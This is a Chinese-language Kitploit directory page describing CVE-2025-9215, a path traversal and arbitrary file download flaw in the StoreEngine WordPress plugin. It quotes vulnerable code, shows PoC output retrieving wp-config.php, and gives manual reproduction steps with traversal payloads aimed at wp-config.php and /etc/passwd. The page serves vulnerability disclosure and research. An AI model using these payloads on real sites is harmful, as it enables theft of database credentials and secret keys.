Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2025-9215 — StoreEngine – 功能强大的 WordPress 电子商务插件,支持支付、会员、联盟营销、销售等 <= 1.4.0 - 已认证(订阅者+)任意文件下载 | Kitploit
工具/GitHubGitHub/d0n601/cve-2025-9215
漏洞分析漏洞利用Web应用程序漏洞利用信息收集Web安全渗透测试
GitHubd0n601/cve-2025-9215

CVE-2025-9215

StoreEngine – 功能强大的 WordPress 电子商务插件,支持支付、会员、联盟营销、销售等 <= 1.4.0 - 已认证(订阅者+)任意文件下载

查看仓库
1年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

StoreEngine 强大的 WordPress 电子商务插件(支付、会员、联盟营销、销售等)<= 1.4.0 - 已认证(订阅者+)任意文件下载

StoreEngine 插件在其 CSV 导入/导出功能中包含一个漏洞,该漏洞允许任何已认证用户(订阅者、作者、编辑等)从服务器下载任意文件,包括敏感的系统文件、WordPress 配置文件以及插件源代码。该漏洞源于 storeengine_csv/file_download 端点缺乏适当的路径清理,仅依赖 nonce 验证来保证安全,而 storeengine_nonce 通过插件的 JavaScript 暴露给所有前端用户。**注意:此漏洞要求管理员启用 CSV 导入/导出插件。**一旦启用,这种组合允许任何已认证用户从前端页面提取 nonce,并利用路径遍历攻击下载服务器上的任意文件,实际上使订阅者+用户能够访问敏感的系统文件和应用程序文件。

TL;DR 漏洞利用

  • 提供了一个 POC CVE-2025-9215.py,用于演示订阅者用户通过路径遍历下载 WordPress 配置文件。
root@kitploit:~
 python3 ./CVE-2025-9215.py http://localhost:1337 user1 password   
Logging into: http://localhost:1337/wp-admin
NOTE: This exploit works with any authenticated user (subscriber, author, editor, etc.)
Extracting nonce from frontend scripts (accessible to any user)...
storeengine_nonce: 82cb37f678
NOTE: This nonce is exposed to ALL frontend users, making the vulnerability exploitable by any authenticated user!
NOTE: CSV Import/Export addon must be enabled by an administrator before exploitation.
This exploit demonstrates the vulnerability once the addon is already enabled.
The addon activation requires 'manage_options' capability (admin only).

Downloading wp-config.php via path traversal...
<?php
/**
 * The base configuration for WordPress
 *
 * The wp-config.php creation script uses this file during the installation.
 * You don't have to use the website, you can copy this file to "wp-config.php"
 * and fill in the values.
 *
 * This file contains the following configurations:
 *
 * * Database settings
 * * Secret keys
...
...
...

详细信息

易受攻击的文件下载函数

**注意:此漏洞要求管理员启用 CSV 导入/导出插件。**插件启用端点(storeengine/saved_addon_status)需要 manage_options 权限,意味着只有管理员才能启用此功能。

storeengine_csv/file_download AJAX 操作调用了 /wp-content/plugins/storeengine/addons/csv/ajax/export.php 中第 47 行的 file_download() 函数,该函数缺乏适当的路径清理并允许任意文件下载:

root@kitploit:~
public function file_download( array $payload ) {
    if ( ! isset( $payload['filename'] ) ) {
        wp_send_json_error( __( 'Filename is required.', 'storeengine' ) );
    }

    $filename = $payload['filename'];
    $filepath = Helper::get_upload_dir() . '/csv/' . $filename;  // <-- VULNERABLE TO PATH TRAVERSAL!
    
    // NO CAPABILITY CHECK - ANY USER CAN DOWNLOAD ANY FILE!
    // NO PATH SANITIZATION - DIRECT CONCATENATION ALLOWS ../ ATTACKS!
    
    if ( ! file_exists( $filepath ) ) {
        wp_send_json_error( __( 'File not found.', 'storeengine' ) );
    }

    header( 'Content-Type: application/octet-stream' );
    header( 'Content-Disposition: attachment; filename="' . $filename . '"' );
    readfile( $filepath );  // <-- READS AND OUTPUTS ANY FILE!
    exit;
}

路径构造漏洞

易受攻击的路径构造允许完整的路径遍历:

root@kitploit:~
// Helper::get_upload_dir() returns:
$upload = wp_upload_dir();
return $upload['basedir'] . '/storeengine_uploads';

// So the full path becomes:
$filepath = '/path/to/wp-content/uploads/storeengine_uploads/csv/' . $filename;

// With path traversal, this becomes:
$filepath = '/path/to/wp-content/uploads/storeengine_uploads/csv/../../../wp-config.php'
$filepath = '/path/to/wp-content/uploads/storeengine_uploads/csv/../../../../../../etc/passwd'

Nonce 暴露漏洞

storeengine_nonce 通过插件的 JavaScript 暴露给所有前端用户。这发生在 /wp-content/plugins/storeengine/includes/assets.php 中第 279 行的 _get_script_data() 方法中:

root@kitploit:~
public function _get_script_data(): array {
    // ... other data ...
    return [
        'nonce'             => wp_create_nonce( 'wp_rest' ),
        'storeengine_nonce' => wp_create_nonce( 'storeengine_nonce' ), // Line 279 - EXPOSED TO ALL USERS
        'rest_url'          => esc_url_raw( rest_url() ),
        // ... other data ...
    ];
}

该 nonce 随后通过第 120 行的 frontend_scripts() 方法本地化到前端 JavaScript 中:

root@kitploit:~
wp_localize_script(
    'storeengine-frontend-scripts',
    'StoreEngineGlobal',
    $this->get_frontend_script_data() // Calls _get_script_data()
);

Nonce 验证

Nonce 在 /wp-content/plugins/storeengine/includes/classes/abstract-request-handler.php 中第 510 行的 AbstractRequestHandler::check_permission() 方法中验证:

root@kitploit:~
protected function check_permission( string $capability, bool $allow_visitors = false ) {
    if ( ( ! is_user_logged_in() && ! $allow_visitors ) || ( is_user_logged_in() && $capability && ! current_user_can( $capability ) ) ) {
        return new WP_Error(/* ... */);
    }
    return true;
}

这种组合允许任何已认证用户绕过 CSRF 保护并下载服务器上的任意文件,包括敏感的配置文件、源代码以及潜在的系统文件。

手动复现

  1. 登录管理面板并导航到 StoreEngine 插件。
  2. 转到 CSV 导出部分(如果在管理界面中可用)。
  3. 启动 Burp Suite 或类似工具并开始拦截流量。
  4. 拦截一个对 /wp-admin/admin-ajax.php 的请求,该请求调用 storeengine_csv/file_download 操作。
  5. 修改请求以包含提取的 nonce 和路径遍历负载。
  6. 发送包含 filename=../../../../wp-config.php 的请求以下载 WordPress 配置文件。
  7. 访问敏感的配置文件,包括数据库凭据、API 密钥和安全盐值。
下载工具